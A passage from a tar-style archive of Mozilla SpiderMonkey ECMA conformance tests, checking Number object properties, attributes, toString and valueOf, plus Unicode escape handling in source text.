Number(1)).valueOf()", 1, (new Number(1)).valueOf() ); new TestCase(SECTION, "NUMB = new Number(1);NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number(1);NUMB.toString=Object.prototype.toString;NUMB.toString()") ); new TestCase(SECTION, "(new Number(-1)).constructor", Number.prototype.constructor, (new Number(-1)).constructor ); new TestCase(SECTION, "typeof (new Number(-1))", "object", typeof (new Number(-1)) ); new TestCase(SECTION, "(new Number(-1)).valueOf()", -1, (new Number(-1)).valueOf() ); new TestCase(SECTION, "NUMB = new Number(-1);NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number(-1);NUMB.toString=Object.prototype.toString;NUMB.toString()") ); new TestCase(SECTION, "(new Number(Number.NaN)).constructor", Number.prototype.constructor, (new Number(Number.NaN)).constructor ); new TestCase(SECTION, "typeof (new Number(Number.NaN))", "object", typeof (new Number(Number.NaN)) ); new TestCase(SECTION, "(new Number(Number.NaN)).valueOf()", Number.NaN, (new Number(Number.NaN)).valueOf() ); new TestCase(SECTION, "NUMB = new Number(Number.NaN);NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number(Number.NaN);NUMB.toString=Object.prototype.toString;NUMB.toString()") ); new TestCase(SECTION, "(new Number('string')).constructor", Number.prototype.constructor, (new Number('string')).constructor ); new TestCase(SECTION, "typeof (new Number('string'))", "object", typeof (new Number('string')) ); new TestCase(SECTION, "(new Number('string')).valueOf()", Number.NaN, (new Number('string')).valueOf() ); new TestCase(SECTION, "NUMB = new Number('string');NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number('string');NUMB.toString=Object.prototype.toString;NUMB.toString()") ); new TestCase(SECTION, "(new Number(new String())).constructor", Number.prototype.constructor, (new Number(new String())).constructor ); new TestCase(SECTION, "typeof (new Number(new String()))", "object", typeof (new Number(new String())) ); new TestCase(SECTION, "(new Number(new String())).valueOf()", 0, (new Number(new String())).valueOf() ); new TestCase(SECTION, "NUMB = new Number(new String());NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number(new String());NUMB.toString=Object.prototype.toString;NUMB.toString()") ); new TestCase(SECTION, "(new Number('')).constructor", Number.prototype.constructor, (new Number('')).constructor ); new TestCase(SECTION, "typeof (new Number(''))", "object", typeof (new Number('')) ); new TestCase(SECTION, "(new Number('')).valueOf()", 0, (new Number('')).valueOf() ); new TestCase(SECTION, "NUMB = new Number('');NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number('');NUMB.toString=Object.prototype.toString;NUMB.toString()") ); new TestCase(SECTION, "(new Number(Number.POSITIVE_INFINITY)).constructor", Number.prototype.constructor, (new Number(Number.POSITIVE_INFINITY)).constructor ); new TestCase(SECTION, "typeof (new Number(Number.POSITIVE_INFINITY))", "object", typeof (new Number(Number.POSITIVE_INFINITY)) ); new TestCase(SECTION, "(new Number(Number.POSITIVE_INFINITY)).valueOf()", Number.POSITIVE_INFINITY, (new Number(Number.POSITIVE_INFINITY)).valueOf() ); new TestCase(SECTION, "NUMB = new Number(Number.POSITIVE_INFINITY);NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number(Number.POSITIVE_INFINITY);NUMB.toString=Object.prototype.toString;NUMB.toString()") ); new TestCase(SECTION, "(new Number(Number.NEGATIVE_INFINITY)).constructor", Number.prototype.constructor, (new Number(Number.NEGATIVE_INFINITY)).constructor ); new TestCase(SECTION, "typeof (new Number(Number.NEGATIVE_INFINITY))", "object", typeof (new Number(Number.NEGATIVE_INFINITY)) ); new TestCase(SECTION, "(new Number(Number.NEGATIVE_INFINITY)).valueOf()", Number.NEGATIVE_INFINITY, (new Number(Number.NEGATIVE_INFINITY)).valueOf() ); new TestCase(SECTION, "NUMB = new Number(Number.NEGATIVE_INFINITY);NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number(Number.NEGATIVE_INFINITY);NUMB.toString=Object.prototype.toString;NUMB.toString()") ); new TestCase(SECTION, "(new Number()).constructor", Number.prototype.constructor, (new Number()).constructor ); new TestCase(SECTION, "typeof (new Number())", "object", typeof (new Number()) ); new TestCase(SECTION, "(new Number()).valueOf()", 0, (new Number()).valueOf() ); new TestCase(SECTION, "NUMB = new Number();NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number();NUMB.toString=Object.prototype.toString;NUMB.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.2-3.js0000664000175000017500000000174112106270663020677 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.2-3.js ECMA Section: 15.7.3.2 Number.MAX_VALUE Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Number.MAX_VALUE Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.2-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.MAX_VALUE"; writeHeaderToLog( SECTION + " "+ TITLE ); var MAX_VAL = 1.7976931348623157e308; new TestCase( SECTION, "Number.MAX_VALUE=0; Number.MAX_VALUE", MAX_VAL, eval("Number.MAX_VALUE=0; Number.MAX_VALUE") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/browser.js0000664000175000017500000000000012106270663021312 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Number/15.7.3.4-3.js0000664000175000017500000000162312106270663020700 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.4-3.js ECMA Section: 15.7.3.4 Number.NaN Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Number.NaN Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.4-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.NaN"; writeHeaderToLog( SECTION + " "+ TITLE ); new TestCase( SECTION, "Number.NaN=0; Number.NaN", Number.NaN, eval("Number.NaN=0; Number.NaN") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.4.2-1.js0000664000175000017500000000550012106270663020673 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.4.2.js ECMA Section: 15.7.4.2.1 Number.prototype.toString() Description: If the radix is the number 10 or not supplied, then this number value is given as an argument to the ToString operator; the resulting string value is returned. If the radix is supplied and is an integer from 2 to 36, but not 10, the result is a string, the choice of which is implementation dependent. The toString function is not generic; it generates a runtime error if its this value is not a Number object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.4.2-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Number.prototype.toString()"); // the following two lines cause navigator to crash -- cmb 9/16/97 new TestCase(SECTION, "Number.prototype.toString()", "0", eval("Number.prototype.toString()") ); new TestCase(SECTION, "typeof(Number.prototype.toString())", "string", eval("typeof(Number.prototype.toString())") ); new TestCase(SECTION, "s = Number.prototype.toString; o = new Number(); o.toString = s; o.toString()", "0", eval("s = Number.prototype.toString; o = new Number(); o.toString = s; o.toString()") ); new TestCase(SECTION, "s = Number.prototype.toString; o = new Number(1); o.toString = s; o.toString()", "1", eval("s = Number.prototype.toString; o = new Number(1); o.toString = s; o.toString()") ); new TestCase(SECTION, "s = Number.prototype.toString; o = new Number(-1); o.toString = s; o.toString()", "-1", eval("s = Number.prototype.toString; o = new Number(-1); o.toString = s; o.toString()") ); new TestCase(SECTION, "var MYNUM = new Number(255); MYNUM.toString(10)", "255", eval("var MYNUM = new Number(255); MYNUM.toString(10)") ); new TestCase(SECTION, "var MYNUM = new Number(Number.NaN); MYNUM.toString(10)", "NaN", eval("var MYNUM = new Number(Number.NaN); MYNUM.toString(10)") ); new TestCase(SECTION, "var MYNUM = new Number(Infinity); MYNUM.toString(10)", "Infinity", eval("var MYNUM = new Number(Infinity); MYNUM.toString(10)") ); new TestCase(SECTION, "var MYNUM = new Number(-Infinity); MYNUM.toString(10)", "-Infinity", eval("var MYNUM = new Number(-Infinity); MYNUM.toString(10)") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.3-1.js0000664000175000017500000000164012106270663020674 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.3-1.js ECMA Section: 15.7.3.3 Number.MIN_VALUE Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the value of Number.MIN_VALUE Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.3-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.MIN_VALUE"; writeHeaderToLog( SECTION + " "+ TITLE ); var MIN_VAL = 5e-324; new TestCase( SECTION, "Number.MIN_VALUE", MIN_VAL, Number.MIN_VALUE ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.3-3.js0000664000175000017500000000172612106270663020703 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.3-3.js ECMA Section: 15.7.3.3 Number.MIN_VALUE Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Number.MIN_VALUE Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.3-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.MIN_VALUE: ReadOnly Attribute"; writeHeaderToLog( SECTION + " "+TITLE ); new TestCase( SECTION, "Number.MIN_VALUE=0; Number.MIN_VALUE", Number.MIN_VALUE, eval("Number.MIN_VALUE=0; Number.MIN_VALUE" )); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.3-2.js0000664000175000017500000000214612106270663020677 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.3-2.js ECMA Section: 15.7.3.3 Number.MIN_VALUE Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Number.MIN_VALUE Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.3-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.MIN_VALUE"; writeHeaderToLog( SECTION + " "+ TITLE ); var MIN_VAL = 5e-324; new TestCase( SECTION, "delete( Number.MIN_VALUE )", false, eval("delete( Number.MIN_VALUE )") ); new TestCase( SECTION, "delete( Number.MIN_VALUE ); Number.MIN_VALUE", MIN_VAL, eval("delete( Number.MIN_VALUE );Number.MIN_VALUE") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.4.2-3-n.js0000664000175000017500000000270412106270663021133 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.4.2-3-n.js ECMA Section: 15.7.4.2.1 Number.prototype.toString() Description: If the radix is the number 10 or not supplied, then this number value is given as an argument to the ToString operator; the resulting string value is returned. If the radix is supplied and is an integer from 2 to 36, but not 10, the result is a string, the choice of which is implementation dependent. The toString function is not generic; it generates a runtime error if its this value is not a Number object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.4.2-3-n"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Number.prototype.toString()"); DESCRIPTION = "o = new String(); o.toString = Number.prototype.toString; o.toString()"; EXPECTED = "error"; new TestCase(SECTION, "o = new String(); o.toString = Number.prototype.toString; o.toString()", "error", eval("o = new String(); o.toString = Number.prototype.toString; o.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.3-4.js0000664000175000017500000000205512106270663020700 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.3-4.js ECMA Section: 15.7.3.3 Number.MIN_VALUE Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontEnum attribute of Number.MIN_VALUE Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.3-4"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Number.MIN_VALUE: DontEnum Attribute"); new TestCase( SECTION, "var string = ''; for ( prop in Number ) { string += ( prop == 'MIN_VALUE' ) ? prop : '' } string;", "", eval("var string = ''; for ( prop in Number ) { string += ( prop == 'MIN_VALUE' ) ? prop : '' } string;") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.6-3.js0000664000175000017500000000200112106270663020671 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.6-3.js ECMA Section: 15.7.3.6 Number.POSITIVE_INFINITY Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Number.POSITIVE_INFINITY Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.6-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.POSITIVE_INFINITY"; writeHeaderToLog( SECTION + " "+TITLE); new TestCase( SECTION, "Number.POSITIVE_INFINITY=0; Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY, eval("Number.POSITIVE_INFINITY=0; Number.POSITIVE_INFINITY") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.5-4.js0000664000175000017500000000212712106270663020702 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.5-4.js ECMA Section: 15.7.3.5 Number.NEGATIVE_INFINITY Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontEnum attribute of Number.NEGATIVE_INFINITY Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.5-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.NEGATIVE_INFINITY"; writeHeaderToLog( SECTION + " "+TITLE); new TestCase( SECTION, "var string = ''; for ( prop in Number ) { string += ( prop == 'NEGATIVE_INFINITY' ) ? prop : '' } string;", "", eval("var string = ''; for ( prop in Number ) { string += ( prop == 'NEGATIVE_INFINITY' ) ? prop : '' } string;") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/0x-without-following-hexdigits.js0000664000175000017500000000136012106270663025655 0ustar sstanglsstangl// Any copyright is dedicated to the Public Domain. // http://creativecommons.org/licenses/publicdomain/ //----------------------------------------------------------------------------- var BUGNUMBER = 582643; var summary = "'0x' not followed by hex digits should be a syntax error"; print(BUGNUMBER + ": " + summary); /************** * BEGIN TEST * **************/ try { eval("0x"); throw new Error("didn't throw parsing 0x (with no subsequent hex digits)"); } catch (e) { assertEq(e instanceof SyntaxError, true, "bad exception thrown: " + e); } /******************************************************************************/ if (typeof reportCompare === "function") reportCompare(true, true); print("All tests passed!"); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.6-2.js0000664000175000017500000000220612106270663020677 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.6-2.js ECMA Section: 15.7.3.6 Number.POSITIVE_INFINITY Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Number.POSITIVE_INFINITY Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.6-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.POSITIVE_INFINITY"; writeHeaderToLog( SECTION + " "+TITLE); new TestCase(SECTION, "delete( Number.POSITIVE_INFINITY )", false, eval("delete( Number.POSITIVE_INFINITY )") ); new TestCase(SECTION, "delete( Number.POSITIVE_INFINITY ); Number.POSITIVE_INFINITY", Infinity, eval("delete( Number.POSITIVE_INFINITY );Number.POSITIVE_INFINITY") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.4.3-1.js0000664000175000017500000000353212106270663020677 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.4.3-1.js ECMA Section: 15.7.4.3.1 Number.prototype.valueOf() Description: Returns this number value. The valueOf function is not generic; it generates a runtime error if its this value is not a Number object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.4.3-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Number.prototype.valueOf()"); // the following two line causes navigator to crash -- cmb 9/16/97 new TestCase("SECTION", "Number.prototype.valueOf()", 0, eval("Number.prototype.valueOf()") ); new TestCase("SECTION", "(new Number(1)).valueOf()", 1, eval("(new Number(1)).valueOf()") ); new TestCase("SECTION", "(new Number(-1)).valueOf()", -1, eval("(new Number(-1)).valueOf()") ); new TestCase("SECTION", "(new Number(0)).valueOf()", 0, eval("(new Number(0)).valueOf()") ); new TestCase("SECTION", "(new Number(Number.POSITIVE_INFINITY)).valueOf()", Number.POSITIVE_INFINITY, eval("(new Number(Number.POSITIVE_INFINITY)).valueOf()") ); new TestCase("SECTION", "(new Number(Number.NaN)).valueOf()", Number.NaN, eval("(new Number(Number.NaN)).valueOf()") ); new TestCase("SECTION", "(new Number()).valueOf()", 0, eval("(new Number()).valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.js0000664000175000017500000000200712106270663020373 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.js 15.7.3 Properties of the Number Constructor Description: The value of the internal [[Prototype]] property of the Number constructor is the Function prototype object. The Number constructor also has the internal [[Call]] and [[Construct]] properties, and the length property. Other properties are in subsequent tests. Author: christine@netscape.com Date: 29 september 1997 */ var SECTION = "15.7.3"; var VERSION = "ECMA_2"; startTest(); var TITLE = "Properties of the Number Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase(SECTION, "Number.length", 1, Number.length ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.4-2.js0000664000175000017500000000202612106270663020675 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.4-2.js ECMA Section: 15.7.3.4 Number.NaN Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Number.NaN Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.4-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.NaN"; writeHeaderToLog( SECTION + " "+ TITLE ); new TestCase(SECTION, "delete( Number.NaN ); Number.NaN", NaN, eval("delete( Number.NaN );Number.NaN" )); new TestCase( SECTION, "delete( Number.NaN )", false, eval("delete( Number.NaN )") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.5-2.js0000664000175000017500000000216112106270663020676 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.5-2.js ECMA Section: 15.7.3.5 Number.NEGATIVE_INFINITY Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Number.NEGATIVE_INFINITY Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.5-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.NEGATIVE_INFINITY"; writeHeaderToLog( SECTION + " "+TITLE); new TestCase( SECTION, "delete( Number.NEGATIVE_INFINITY )", false, eval("delete( Number.NEGATIVE_INFINITY )") ); new TestCase( SECTION, "delete( Number.NEGATIVE_INFINITY ); Number.NEGATIVE_INFINITY", -Infinity, eval("delete( Number.NEGATIVE_INFINITY );Number.NEGATIVE_INFINITY") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.4-1.js0000664000175000017500000000212312106270663020531 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.4-1.js ECMA Section: 15.7.4.1 Properties of the Number Prototype Object Description: Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.4-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + "Properties of the Number prototype object"); new TestCase(SECTION, "Number.prototype.valueOf()", 0, Number.prototype.valueOf() ); new TestCase(SECTION, "typeof(Number.prototype)", "object", typeof(Number.prototype) ); new TestCase(SECTION, "Number.prototype.constructor == Number", true, Number.prototype.constructor == Number ); // new TestCase(SECTION, "Number.prototype == Number.__proto__", true, Number.prototype == Number.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/NativeObjects/0000775000175000017500000000000012106270663020613 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/NativeObjects/shell.js0000664000175000017500000000000012106270663022246 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/NativeObjects/browser.js0000664000175000017500000000000012106270663022622 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/SourceText/0000775000175000017500000000000012106270663020160 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/SourceText/6-1.js0000664000175000017500000000746512106270663021035 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 6-1.js ECMA Section: Source Text Description: ECMAScript source text is represented as a sequence of characters representable using the Unicode version 2.0 character encoding. SourceCharacter :: any Unicode character However, it is possible to represent every ECMAScript program using only ASCII characters (which are equivalent to the first 128 Unicode characters). Non-ASCII Unicode characters may appear only within comments and string literals. In string literals, any Unicode character may also be expressed as a Unicode escape sequence consisting of six ASCII characters, namely \u plus four hexadecimal digits. Within a comment, such an escape sequence is effectively ignored as part of the comment. Within a string literal, the Unicode escape sequence contributes one character to the string value of the literal. Note that ECMAScript differs from the Java programming language in the behavior of Unicode escape sequences. In a Java program, if the Unicode escape sequence \u000A, for example, occurs within a single-line comment, it is interpreted as a line terminator (Unicode character 000A is line feed) and therefore the next character is not part of the comment. Similarly, if the Unicode escape sequence \u000A occurs within a string literal in a Java program, it is likewise interpreted as a line terminator, which is not allowed within a string literal-one must write \n instead of \u000A to cause a line feed to be part of the string value of a string literal. In an ECMAScript program, a Unicode escape sequence occurring within a comment is never interpreted and therefore cannot contribute to termination of the comment. Similarly, a Unicode escape sequence occurring within a string literal in an ECMAScript program always contributes a character to the string value of the literal and is never interpreted as a line terminator or as a quote mark that might terminate the string literal. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "6-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Source Text"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "// the following character should not be interpreted as a line terminator in a comment: \u000A", 'PASSED', "PASSED" ); // \u000A testcase.actual = "FAILED!"; testcase = new TestCase( SECTION, "// the following character should not be interpreted as a line terminator in a comment: \\n 'FAILED'", 'PASSED', 'PASSED' ); // the following character should noy be interpreted as a line terminator: \\n testcase.actual = "FAILED" testcase = new TestCase( SECTION, "// the following character should not be interpreted as a line terminator in a comment: \\u000A 'FAILED'", 'PASSED', 'PASSED' ); // the following character should not be interpreted as a line terminator: \u000A testcase.actual = "FAILED" testcase = new TestCase( SECTION, "// the following character should not be interpreted as a line terminator in a comment: \n 'PASSED'", 'PASSED', 'PASSED' ); // the following character should not be interpreted as a line terminator: \n testcase.actual = 'FAILED' testcase = new TestCase( SECTION, "// the following character should not be interpreted as a line terminator in a comment: u000D", 'PASSED', 'PASSED' ); // the following character should not be interpreted as a line terminator: \u000D testcase.actual = "FAILED" test(); mozjs17.0.0/js/src/tests/ecma/SourceText/6-2.js0000664000175000017500000000653412106270663021032 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 6-1.js ECMA Section: Source Text Description: ECMAScript source text is represented as a sequence of characters representable using the Unicode version 2.0 character encoding. SourceCharacter :: any Unicode character However, it is possible to represent every ECMAScript program using only ASCII characters (which are equivalent to the first 128 Unicode characters). Non-ASCII Unicode characters may appear only within comments and string literals. In string literals, any Unicode character may also be expressed as a Unicode escape sequence consisting of six ASCII characters, namely \u plus four hexadecimal digits. Within a comment, such an escape sequence is effectively ignored as part of the comment. Within a string literal, the Unicode escape sequence contributes one character to the string value of the literal. Note that ECMAScript differs from the Java programming language in the behavior of Unicode escape sequences. In a Java program, if the Unicode escape sequence \u000A, for example, occurs within a single-line comment, it is interpreted as a line terminator (Unicode character 000A is line feed) and therefore the next character is not part of the comment. Similarly, if the Unicode escape sequence \u000A occurs within a string literal in a Java program, it is likewise interpreted as a line terminator, which is not allowed within a string literal-one must write \n instead of \u000A to cause a line feed to be part of the string value of a string literal. In an ECMAScript program, a Unicode escape sequence occurring within a comment is never interpreted and therefore cannot contribute to termination of the comment. Similarly, a Unicode escape sequence occurring within a string literal in an ECMAScript program always contributes a character to the string value of the literal and is never interpreted as a line terminator or as a quote mark that might terminate the string literal. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "6-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Source Text"; writeHeaderToLog( SECTION + " "+ TITLE); // encoded quotes should not end a quote new TestCase( SECTION, "var s = 'PAS\\u0022SED'; s", "PAS\"SED", eval("var s = 'PAS\\u0022SED'; s") ); new TestCase( SECTION, 'var s = "PAS\\u0022SED"; s', "PAS\"SED", eval('var s = "PAS\\u0022SED"; s') ); new TestCase( SECTION, "var s = 'PAS\\u0027SED'; s", "PAS\'SED", eval("var s = 'PAS\\u0027SED'; s") ); new TestCase( SECTION, 'var s = "PAS\\u0027SED"; s', "PAS\'SED", eval('var s = "PAS\\u0027SED"; s') ); var testcase = new TestCase( SECTION, 'var s="PAS\\u0027SED"; s', "PAS\'SED", "" ); var s = "PAS\u0027SED"; testcase.actual = s; testcase = new TestCase( SECTION, 'var s = "PAS\\u0022SED"; s', "PAS\"SED", "" ); var s = "PAS\u0022SED"; testcase.actual = s; test(); mozjs17.0.0/js/src/tests/ecma/SourceText/shell.js0000664000175000017500000000000012106270663021613 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/SourceText/browser.js0000664000175000017500000000000012106270663022167 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Array/0000775000175000017500000000000012106270663017131 5ustar 